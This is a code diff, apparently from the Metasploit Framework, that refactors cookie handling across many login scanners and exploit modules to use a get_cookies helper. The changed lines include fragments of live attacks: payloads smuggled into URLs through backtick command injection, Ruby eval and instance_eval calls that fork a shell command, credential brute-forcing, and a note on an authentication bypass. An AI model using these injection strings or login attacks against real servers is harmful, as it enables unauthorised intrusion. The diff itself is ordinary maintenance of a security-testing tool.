if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/
|
||||
session = res.headers['Set-Cookie'].scan(/sid\=(\w+)\;*/).flatten[0] || ''
|
||||
if res and res.code == 302 and res.get_cookies =~ /sid/
|
||||
session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || ''
|
||||
if session and not session.empty?
|
||||
print_good "#{peer} - Authentication successful"
|
||||
else
|
||||
|
|
|
@ -30,7 +30,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
register_options(
|
||||
[
|
||||
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ]),
|
||||
OptString.new('FUZZCMDS', [ true, "Comma separated list of commands to fuzz.", "LIST,NLST,LS,RETR" ]),
|
||||
OptString.new('FUZZCMDS', [ true, "Comma separated list of commands to fuzz (Uppercase).", "LIST,NLST,LS,RETR", nil, /(?:[A-Z]+,?)+/ ]),
|
||||
OptInt.new('STARTSIZE', [ true, "Fuzzing string startsize.",1000]),
|
||||
OptInt.new('ENDSIZE', [ true, "Max Fuzzing string size.",200000]),
|
||||
OptInt.new('STEPSIZE', [ true, "Increment fuzzing string each attempt.",1000]),
|
||||
|
|
|
@ -455,21 +455,23 @@ class Metasploit3 < Msf::Auxiliary
|
|||
formidx = formidx + 1
|
||||
formcnt += 1
|
||||
end
|
||||
|
||||
if forms.size > 0
|
||||
print_status(" Forms : ")
|
||||
end
|
||||
|
||||
forms.each do | thisform |
|
||||
print_status(" - Name : #{thisform[:name]}, ID : #{thisform[:id]}, Action : #{thisform[:action]}, Method : #{thisform[:method]}")
|
||||
end
|
||||
|
||||
return forms
|
||||
end
|
||||
def extract_cookie(body)
|
||||
return body["Set-Cookie"]
|
||||
end
|
||||
|
||||
def set_cookie(cookie)
|
||||
@get_data_headers["Cookie"]=cookie
|
||||
@send_data[:headers]["Cookie"]=cookie
|
||||
end
|
||||
|
||||
def run
|
||||
init_fuzzdata()
|
||||
init_vars()
|
||||
|
@ -487,10 +489,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_error("No response")
|
||||
return
|
||||
end
|
||||
|
||||
if datastore['HANDLECOOKIES']
|
||||
cookie = extract_cookie(response.headers)
|
||||
cookie = response.get_cookies
|
||||
set_cookie(cookie)
|
||||
print_status("Set cookie:#{cookie}")
|
||||
print_status("Set cookie: #{cookie}")
|
||||
print_status("Grabbing webpage #{datastore['URL']} from #{datastore['RHOST']} using cookies")
|
||||
|
||||
response = send_request_raw(
|
||||
|
|
|
@ -57,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
}
|
||||
})
|
||||
|
||||
if res and res.code == 302 and res.headers['Location'] !~ /authfail/ and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/
|
||||
if res and res.code == 302 and res.headers['Location'] !~ /authfail/ and res.get_cookies =~ /JSESSIONID=(.*);/
|
||||
return $1
|
||||
else
|
||||
return nil
|
||||
|
|
|
@ -128,7 +128,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
})
|
||||
if !res
|
||||
print_error("#{peer} - Connection failed")
|
||||
elsif res.code == 200 and res.headers["set-cookie"] =~ /DOLSESSID_([a-f0-9]{32})=/
|
||||
elsif res.code == 200 and res.get_cookies =~ /DOLSESSID_([a-f0-9]{32})=/
|
||||
return "DOLSESSID_#{$1}=#{token}"
|
||||
else
|
||||
print_warning("#{peer} - Could not create session cookie")
|
||||
|
|
|
@ -80,7 +80,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
if res &&
|
||||
res.code == 200 &&
|
||||
res.headers['Set-Cookie'].match(/webvpn/)
|
||||
res.get_cookies.include?('webvpn')
|
||||
|
||||
return true
|
||||
else
|
||||
|
|
|
@ -77,15 +77,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if (res and res.headers['Set-Cookie'])
|
||||
if res && res.get_cookies
|
||||
|
||||
cookie = res.headers['Set-Cookie'].split('; ')[0]
|
||||
cookie = res.get_cookies
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => "/help/wwhelp/wwhimpl/common/html/default.htm",
|
||||
'method' => 'GET',
|
||||
'cookie' => '#{cookie}'
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
if (res and res.code == 200 and res.body.include?('Cisco IronPort AsyncOS'))
|
||||
|
@ -135,7 +135,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
}
|
||||
})
|
||||
|
||||
if (res and res.headers['Set-Cookie'].include?('authenticated='))
|
||||
if res and res.get_cookies.include?('authenticated=')
|
||||
print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
|
||||
|
||||
report_hash = {
|
||||
|
|
|
@ -42,10 +42,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'uri' => normalize_uri(@uri.path)
|
||||
})
|
||||
|
||||
return [nil, nil] if not (res and res.headers['Set-Cookie'])
|
||||
return [nil, nil] if res.nil? || res.get_cookies.empty?
|
||||
|
||||
# Get the session ID from the cookie
|
||||
m = res.headers['Set-Cookie'].match(/(DOLSESSID_.+);/)
|
||||
m = get_cookies.match(/(DOLSESSID_.+);/)
|
||||
id = (m.nil?) ? nil : m[1]
|
||||
|
||||
# Get the token from the decompressed HTTP body response
|
||||
|
|
|
@ -167,7 +167,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_status("Trying credential GlassFish 2.x #{user}:'#{pass}'....")
|
||||
res = try_login(user,pass)
|
||||
if res and res.code == 302
|
||||
session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
|
||||
session = $1 if res && res.get_cookies =~ /JSESSIONID=(.*); /i
|
||||
res = send_request('/applications/upload.jsf', 'GET', session)
|
||||
|
||||
p = /<title>Deploy Enterprise Applications\/Modules/
|
||||
|
@ -180,7 +180,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_status("Trying credential GlassFish 3.x #{user}:'#{pass}'....")
|
||||
res = try_login(user,pass)
|
||||
if res and res.code == 302
|
||||
session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
|
||||
session = $1 if res && res.get_cookies =~ /JSESSIONID=(.*); /i
|
||||
res = send_request('/common/applications/uploadFrame.jsf', 'GET', session)
|
||||
|
||||
p = /<title>Deploy Applications or Modules/
|
||||
|
|
|
@ -64,7 +64,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
}
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.headers['Set-Cookie'] and res.headers['Set-Cookie'] =~ /([^\s]*session)=([a-z0-9]+)/
|
||||
if res && res.code == 200 && res.get_cookies =~ /([^\s]*session)=([a-z0-9]+)/
|
||||
return $1,$2
|
||||
else
|
||||
return nil
|
||||
|
@ -134,8 +134,8 @@ class Metasploit4 < Msf::Auxiliary
|
|||
'cookie' => session_cookie
|
||||
})
|
||||
|
||||
if res and res.code == 302 and res.headers['Set-Cookie'] =~ /UserID=/
|
||||
parse_auth_cookie(res.headers['Set-Cookie'])
|
||||
if res and res.code == 302 and res.get_cookies.include?('UserID=')
|
||||
parse_auth_cookie(res.get_cookies)
|
||||
return true
|
||||
else
|
||||
return false
|
||||
|
|
|
@ -200,7 +200,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return :abort
|
||||
end
|
||||
|
||||
if action.name != "OWA_2013" and not res.headers['set-cookie']
|
||||
if action.name != "OWA_2013" and res.get_cookies.empty?
|
||||
print_error("#{msg} Received invalid repsonse due to a missing cookie (possibly due to invalid version), aborting")
|
||||
return :abort
|
||||
end
|
||||
|
@ -233,8 +233,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
else
|
||||
# these two lines are the authentication info
|
||||
sessionid = 'sessionid=' << res.headers['set-cookie'].split('sessionid=')[1].split('; ')[0]
|
||||
cadata = 'cadata=' << res.headers['set-cookie'].split('cadata=')[1].split('; ')[0]
|
||||
cookies = res.get_cookies
|
||||
sessionid = 'sessionid=' << cookies.split('sessionid=')[1].split('; ')[0]
|
||||
cadata = 'cadata=' << cookies.split('cadata=')[1].split('; ')[0]
|
||||
headers['Cookie'] = 'PBack=0; ' << sessionid << '; ' << cadata
|
||||
end
|
||||
|
||||
|
|
|
@ -82,7 +82,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'authorization' => basic_auth(user,pass)
|
||||
})
|
||||
|
||||
if (res and res.headers['Set-Cookie'])
|
||||
if res and !res.get_cookies.empty?
|
||||
print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
|
||||
|
||||
report_hash = {
|
||||
|
|
|
@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if (res and res.code.to_i == 200 and res.headers['Set-Cookie'].include?('SEVONE'))
|
||||
if (res and res.code.to_i == 200 and res.get_cookies.include?('SEVONE'))
|
||||
version_key = /Version: <strong>(.+)<\/strong>/
|
||||
version = res.body.scan(version_key).flatten
|
||||
print_good("#{rhost}:#{rport} - Application confirmed to be SevOne Network Performance Management System version #{version}")
|
||||
|
|
|
@ -75,7 +75,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
}
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body.to_s =~ /self.location="\.\.\/cgi\/url_redirect\.cgi/ and res.headers["Set-Cookie"].to_s =~ /(SID=[a-z]+)/
|
||||
if res and res.code == 200 and res.body.to_s =~ /self.location="\.\.\/cgi\/url_redirect\.cgi/ and res.get_cookies =~ /(SID=[a-z]+)/
|
||||
return $1
|
||||
else
|
||||
return nil
|
||||
|
|
|
@ -82,8 +82,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
session_id = ''
|
||||
cval = ''
|
||||
|
||||
if res and res.code == 200 and res.headers['Set-Cookie']
|
||||
res.headers['Set-Cookie'].split(';').each {|c|
|
||||
if res and res.code == 200 and !res.get_cookies.empty?
|
||||
res.get_cookies.split(';').each {|c|
|
||||
c.split(',').each {|v|
|
||||
if v.split('=')[0] =~ /cval/
|
||||
cval = v.split('=')[1]
|
||||
|
|
|
@ -86,8 +86,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
last_login = '' #A hidden field in the login page
|
||||
|
||||
res = send_request_raw({'uri'=>'/brightmail/viewLogin.do'})
|
||||
if res and res.headers['Set-Cookie']
|
||||
sid = res.headers['Set-Cookie'].scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
|
||||
if res and !res.get_cookies.empty?
|
||||
sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
|
||||
end
|
||||
|
||||
if res
|
||||
|
|
|
@ -102,7 +102,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'data' => post_data,
|
||||
}, 20)
|
||||
|
||||
if res and res.code == 200 and res.headers['Set-Cookie']
|
||||
if res and res.code == 200 and !res.get_cookies.empty?
|
||||
vprint_error("#{target_url} - Apache Tomcat #{user} not found ")
|
||||
elsif res and res.code == 200 and res.body =~ /invalid username/i
|
||||
vprint_error("#{target_url} - Apache Tomcat #{user} not found ")
|
||||
|
|
|
@ -43,7 +43,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
})
|
||||
|
||||
# Get the PHP session ID
|
||||
m = res.headers['Set-Cookie'].match(/(PHPSESSID=.+);/)
|
||||
m = res.get_cookies.match(/(PHPSESSID=.+);/)
|
||||
id = (m.nil?) ? nil : m[1]
|
||||
|
||||
return id
|
||||
|
|
|
@ -93,10 +93,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return
|
||||
end
|
||||
|
||||
if (res and res.code == 302 )
|
||||
if res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/DomAuthSessId=(.*);(.*)/i)
|
||||
if res and res.code == 302
|
||||
if res.get_cookies.match(/DomAuthSessId=(.*);(.*)/i)
|
||||
cookie = "DomAuthSessId=#{$1}"
|
||||
elsif res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/LtpaToken=(.*);(.*)/i)
|
||||
elsif res.get_cookies.match(/LtpaToken=(.*);(.*)/i)
|
||||
cookie = "LtpaToken=#{$1}"
|
||||
else
|
||||
print_error("http://#{vhost}:#{rport} - Lotus Domino - Unrecognized 302 response")
|
||||
|
|
|
@ -45,8 +45,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'data' => post_data,
|
||||
}, 20)
|
||||
|
||||
if (res and res.code == 302 )
|
||||
if res.headers['Set-Cookie'].match(/DomAuthSessId=(.*);(.*)/i)
|
||||
if res and res.code == 302
|
||||
if res.get_cookies.match(/DomAuthSessId=(.*);(.*)/i)
|
||||
print_good("http://#{vhost}:#{rport} - Lotus Domino - SUCCESSFUL login for '#{user}' : '#{pass}'")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
|
|
|
@ -76,9 +76,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
token = ''
|
||||
uisession = ''
|
||||
if res and res.code == 200 and res.headers['Set-Cookie']
|
||||
if res and res.code == 200 and !res.get_cookies.empty?
|
||||
# extract tokens from cookie
|
||||
res.headers['Set-Cookie'].split(';').each {|c|
|
||||
res.get_cookies.split(';').each {|c|
|
||||
c.split(',').each {|v|
|
||||
if v.split('=')[0] =~ /token/
|
||||
token = v.split('=')[1]
|
||||
|
|
|
@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'headers' => { 'Authorization' => "Basic #{@user_pass}"}
|
||||
}, 25)
|
||||
if res
|
||||
@vim_cookie = res.headers['Set-Cookie']
|
||||
@vim_cookie = res.get_cookies
|
||||
if res.code== 200
|
||||
res.body.scan(/<a href="([\w\/\?=&;%]+)">/) do |match|
|
||||
link = match[0]
|
||||
|
@ -88,7 +88,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'headers' => { 'Authorization' => "Basic #{@user_pass}"}
|
||||
}, 25)
|
||||
if res
|
||||
@vim_cookie = res.headers['Set-Cookie']
|
||||
@vim_cookie = res.get_cookies
|
||||
if res.code == 200
|
||||
img = res.body
|
||||
ss_path = store_loot("host.vmware.screenshot", "image/png", datastore['RHOST'], img, name , "Screenshot of VM #{name}")
|
||||
|
|
|
@ -78,10 +78,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'uri' => @uri.path
|
||||
})
|
||||
|
||||
return [nil, nil] if not (res and res.headers['Set-Cookie'])
|
||||
return [nil, nil] if res.nil? || res.get_cookies.empty?
|
||||
|
||||
# Get the session ID from the cookie
|
||||
m = res.headers['Set-Cookie'].match(/(DOLSESSID_.+);/)
|
||||
m = res.get_cookies.match(/(DOLSESSID_.+);/)
|
||||
id = (m.nil?) ? nil : m[1]
|
||||
|
||||
# Get the token from the decompressed HTTP body response
|
||||
|
|
|
@ -67,7 +67,7 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
if res.headers['Location'] =~ /users\/login$/
|
||||
fail_with(Failure::NoAccess, 'Authentication failed')
|
||||
else
|
||||
session = $1 if res.headers['Set-Cookie'] =~ /_session_id=([0-9a-f]*)/
|
||||
session = $1 if res.get_cookies =~ /_session_id=([0-9a-f]*)/
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the current session id') if session.nil?
|
||||
end
|
||||
|
||||
|
|
|
@ -90,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'josso_password' => datastore['PASSWORD']
|
||||
}
|
||||
})
|
||||
if res and res.headers['Set-Cookie'] =~ /JOSSO_SESSIONID_josso=([A-F0-9]+)/
|
||||
if res and res.get_cookies =~ /JOSSO_SESSIONID_josso=([A-F0-9]+)/
|
||||
return $1
|
||||
else
|
||||
return nil
|
||||
|
|
|
@ -87,7 +87,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/
|
||||
if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=(.*);/
|
||||
first_session = $1
|
||||
end
|
||||
|
||||
|
@ -113,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'cookie' => "JSESSIONID=#{first_session}"
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/
|
||||
if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=(.*);/
|
||||
@session = $1
|
||||
return true
|
||||
end
|
||||
|
|
|
@ -77,7 +77,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'iptest' => "127.0.0.1" # In order to make things as fast as possible
|
||||
}
|
||||
})
|
||||
if res and res.code == 200 and res.headers.include?('Set-Cookie') and res.headers['Set-Cookie'] =~ /SESSIONID/
|
||||
if res and res.code == 200 and res.get_cookies.include?('SESSIONID')
|
||||
return res.get_cookies
|
||||
else
|
||||
return nil
|
||||
|
|
|
@ -97,7 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
# response handling
|
||||
if res and res.code == 302
|
||||
if (res.headers['Set-Cookie'] =~ /ac_ActiveCollab_sid_eaM4h3LTIZ=(.*); expires=/)
|
||||
if res.get_cookies =~ /ac_ActiveCollab_sid_[a-zA-Z0-9]+=(.*); expires=/
|
||||
acsession = $1
|
||||
end
|
||||
elsif res and res.body =~ /Failed to log you in/
|
||||
|
|
|
@ -283,7 +283,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# likely to change
|
||||
|
||||
success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1)
|
||||
if (res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/)
|
||||
if res.get_cookies =~ /JSESSIONID=(.*);/
|
||||
session = $1
|
||||
end
|
||||
end
|
||||
|
@ -319,7 +319,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# likely to change
|
||||
|
||||
success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1)
|
||||
if (res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/)
|
||||
if res.get_cookies =~ /JSESSIONID=(.*);/
|
||||
session = $1
|
||||
end
|
||||
end
|
||||
|
|
|
@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# Make sure the URI begins with a slash
|
||||
uri = normalize_uri(datastore['URI'])
|
||||
|
||||
command = Rex::Text.uri_encode(payload.raw, 'hex-all')
|
||||
command = Rex::Text.uri_encode(payload.raw, 'hex-noslashes')
|
||||
command.gsub!("%20","%2520")
|
||||
res = send_request_cgi({
|
||||
'uri' => "/api"+ uri + "/log/graph/%60#{command}%60",
|
||||
|
|
|
@ -684,7 +684,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("Trying #{type} credentials for GlassFish 2.x #{user}:'#{pass}'....")
|
||||
res = try_login(user,pass)
|
||||
if res and res.code == 302
|
||||
session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
|
||||
session = $1 if res and res.get_cookies =~ /JSESSIONID=(.*); /i
|
||||
res = send_request('/applications/upload.jsf', 'GET', session)
|
||||
|
||||
p = /<title>Deploy Enterprise Applications\/Modules/
|
||||
|
@ -697,7 +697,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("Trying #{type} credentials for GlassFish 3.x #{user}:'#{pass}'....")
|
||||
res = try_login(user,pass)
|
||||
if res and res.code == 302
|
||||
session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i)
|
||||
session = $1 if res and res.get_cookies =~ /JSESSIONID=(.*); /i
|
||||
res = send_request('/common/applications/uploadFrame.jsf', 'GET', session)
|
||||
|
||||
p = /<title>Deploy Applications or Modules/
|
||||
|
@ -788,7 +788,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("Glassfish edition: #{banner}")
|
||||
|
||||
#Get session
|
||||
res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /
|
||||
res.get_cookies =~ /JSESSIONID=(.*); /
|
||||
session = $1
|
||||
|
||||
#Set HTTP verbs. lower-case is used to bypass auth on v3.0
|
||||
|
|
|
@ -61,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if res.code == 200
|
||||
vprint_error("#{peer} - Authentication failed")
|
||||
return Exploit::CheckCode::Unknown
|
||||
elsif res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/
|
||||
elsif res.code == 301 and res.get_cookies =~ /sid([\da-f]+)=([\da-f]{32})/
|
||||
vprint_good("#{peer} - Authenticated successfully")
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
@ -130,7 +130,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# login; get session id and token
|
||||
print_status("#{peer} - Authenticating as user '#{user}'")
|
||||
res = login(base, user, pass)
|
||||
if res and res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/
|
||||
if res and res.code == 301 and res.get_cookies =~ /sid([\da-f]+)=([\da-f]{32})/
|
||||
token = "#{$1}"
|
||||
sid = "#{$2}"
|
||||
print_good("#{peer} - Authenticated successfully")
|
||||
|
|
|
@ -102,7 +102,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'method' => 'POST'
|
||||
)
|
||||
|
||||
if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=([0-9A-F]*);/
|
||||
if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=([0-9A-F]*);/
|
||||
session_id = $1
|
||||
else
|
||||
print_error("#{peer} - Retrieve of initial JSESSIONID failed")
|
||||
|
@ -125,7 +125,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
})
|
||||
|
||||
if res and res.code == 302 and res.headers['Set-Cookie'] =~ /JSESSIONID=([0-9A-F]*);/
|
||||
if res and res.code == 302 and res.get_cookies =~ /JSESSIONID=([0-9A-F]*);/
|
||||
session_id = $1
|
||||
redirect = URI(res.headers['Location']).path
|
||||
else
|
||||
|
|
|
@ -113,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
# CpqElm-Login: success
|
||||
if res.headers['CpqElm-Login'].to_s =~ /success/
|
||||
cookie = res.headers['Set-Cookie'].scan(/(Compaq\-HMMD=[\w\-]+)/).flatten[0] || ''
|
||||
cookie = res.get_cookies.scan(/(Compaq\-HMMD=[\w\-]+)/).flatten[0] || ''
|
||||
end
|
||||
|
||||
cookie
|
||||
|
|
|
@ -161,7 +161,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
|
||||
fail_with(Failure::NoAccess, 'login failed')
|
||||
end
|
||||
sessionid = 'JSESSIONID' << res.headers['set-cookie'].split('JSESSIONID')[1].split('; ')[0]
|
||||
sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
|
||||
@cookie = "#{sessionid}"
|
||||
else
|
||||
print_status('No authentication required, skipping login...')
|
||||
|
|
|
@ -193,7 +193,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
})
|
||||
|
||||
if res and res.code == 302 and res.headers['Location'] =~ /index.do/ and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/
|
||||
if res and res.code == 302 and res.headers['Location'] =~ /index.do/ and res.get_cookies =~ /JSESSIONID=(.*);/
|
||||
print_good("#{peer} - Login successful")
|
||||
session = $1
|
||||
else
|
||||
|
|
|
@ -196,7 +196,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
max.times { chars << rand(string.length)}
|
||||
end
|
||||
end
|
||||
chars.uniq.sort.reverse.each{|index| string[index] = Rex::Text.uri_encode(string[index,1], "hex-all")}
|
||||
chars.uniq.sort.reverse.each{|index| string[index] = Rex::Text.uri_encode(string[index,1], "hex-noslashes")}
|
||||
string
|
||||
end
|
||||
|
||||
|
|
|
@ -73,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
})
|
||||
|
||||
# If we don't get a cookie, bail!
|
||||
if res and res.headers['Set-Cookie'] =~ /(PHPVolunteerManagent=\w+);*/
|
||||
if res and res.get_cookies =~ /(PHPVolunteerManagent=\w+);*/
|
||||
cookie = $1
|
||||
vprint_status("#{peer} - Found cookie: #{cookie}")
|
||||
else
|
||||
|
|
|
@ -79,12 +79,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'uri' => uri,
|
||||
}, 3)
|
||||
|
||||
if (res.nil? or not res.headers['Set-Cookie'])
|
||||
if res.nil? or res.get_cookies.empty?
|
||||
print_error("Could not generate a valid session")
|
||||
return
|
||||
end
|
||||
|
||||
return res.headers['Set-Cookie']
|
||||
return res.get_cookies
|
||||
end
|
||||
|
||||
def cleanup
|
||||
|
|
|
@ -124,7 +124,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
})
|
||||
|
||||
cookie = (res and res.headers['Set-Cookie'] =~ /qdpm\=.+\;/) ? res.headers['Set-Cookie'] : ''
|
||||
cookie = (res and res.get_cookies =~ /qdpm\=.+\;/) ? res.get_cookies : ''
|
||||
return {} if cookie.empty?
|
||||
cookie = cookie.to_s.scan(/(qdpm\=\w+)\;/).flatten[0]
|
||||
|
||||
|
|
|
@ -233,8 +233,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'uri' => datastore['TARGETURI'] || "/",
|
||||
'method' => datastore['HTTP_METHOD'],
|
||||
}, 25)
|
||||
if res && res.headers['Set-Cookie']
|
||||
match = res.headers['Set-Cookie'].match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+); /)
|
||||
if res && !res.get_cookies.empty?
|
||||
match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+); /)
|
||||
end
|
||||
|
||||
if match
|
||||
|
|
|
@ -86,8 +86,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
})
|
||||
|
||||
if res and res.headers['Set-Cookie'] =~ /PHPSESSID/ and res.body !~ /\<i\>Access denied\!\<\/i\>/
|
||||
return res.headers['Set-Cookie']
|
||||
if res and res.get_cookies.include?('PHPSESSID') and res.body !~ /\<i\>Access denied\!\<\/i\>/
|
||||
return res.get_cookies
|
||||
else
|
||||
return ''
|
||||
end
|
||||
|
|
|
@ -95,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if (res and res.code == 302 and res.headers['Location'] =~ /main.php/)
|
||||
print_status("Successfully logged in as #{user}:#{pass}")
|
||||
|
||||
if (res.headers['Set-Cookie'] =~ /SiTsessionID/) and res.headers['Set-Cookie'].split("SiTsessionID")[-1] =~ /=(.*);/
|
||||
if (res.get_cookies =~ /SiTsessionID/) and res.get_cookies.split("SiTsessionID")[-1] =~ /=(.*);/
|
||||
session = $1
|
||||
print_status("Successfully retrieved cookie: #{session}")
|
||||
return session
|
||||
|
|
|
@ -124,8 +124,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
uid = ''
|
||||
session_id_port =
|
||||
session_id = ''
|
||||
if res and res.code == 200 and res.headers['Set-Cookie']
|
||||
res.headers['Set-Cookie'].split(';').each {|c|
|
||||
if res and res.code == 200 and !res.get_cookies.empty?
|
||||
res.get_cookies.split(';').each {|c|
|
||||
c.split(',').each {|v|
|
||||
if v.split('=')[0] =~ /cval/
|
||||
cval = v.split('=')[1]
|
||||
|
@ -159,7 +159,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
else
|
||||
session_id_port = ''
|
||||
session_id = ''
|
||||
res.headers['Set-Cookie'].split(';').each {|c|
|
||||
res.get_cookies.split(';').each {|c|
|
||||
c.split(',').each {|v|
|
||||
if v.split('=')[0] =~ /session_id/
|
||||
session_id_port = v.split('=')[0]
|
||||
|
|
|
@ -202,7 +202,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
session_id_port =
|
||||
session_id = ''
|
||||
if res and res.code == 200
|
||||
res.headers['Set-Cookie'].split(';').each {|c|
|
||||
res.get_cookies.split(';').each {|c|
|
||||
c.split(',').each {|v|
|
||||
if v.split('=')[0] =~ /cval/
|
||||
cval = v.split('=')[1]
|
||||
|
@ -236,7 +236,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
else
|
||||
session_id_port = ''
|
||||
session_id = ''
|
||||
res.headers['Set-Cookie'].split(';').each {|c|
|
||||
res.get_cookies.split(';').each {|c|
|
||||
c.split(',').each {|v|
|
||||
if v.split('=')[0] =~ /session_id/
|
||||
session_id_port = v.split('=')[0]
|
||||
|
|
|
@ -51,7 +51,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def exploit
|
||||
command = Rex::Text.uri_encode(payload.raw, 'hex-all')
|
||||
command = Rex::Text.uri_encode(payload.raw, 'hex-noslashes')
|
||||
res = send_request_raw({
|
||||
'uri' => normalize_uri(datastore['URI']) + "?search[send][]=eval&search[send][]=Kernel.fork%20do%60#{command}%60end",
|
||||
'method' => 'GET',
|
||||
|
|
|
@ -53,7 +53,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def exploit
|
||||
command = Rex::Text.uri_encode(payload.raw, 'hex-all')
|
||||
command = Rex::Text.uri_encode(payload.raw, 'hex-noslashes')
|
||||
|
||||
urlconfigdir = normalize_uri(datastore['URI']) + '/' + "api/orders.json?search[instance_eval]=Kernel.fork%20do%60#{command}%60end"
|
||||
res = send_request_raw({
|
||||
|
|
|
@ -27,7 +27,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
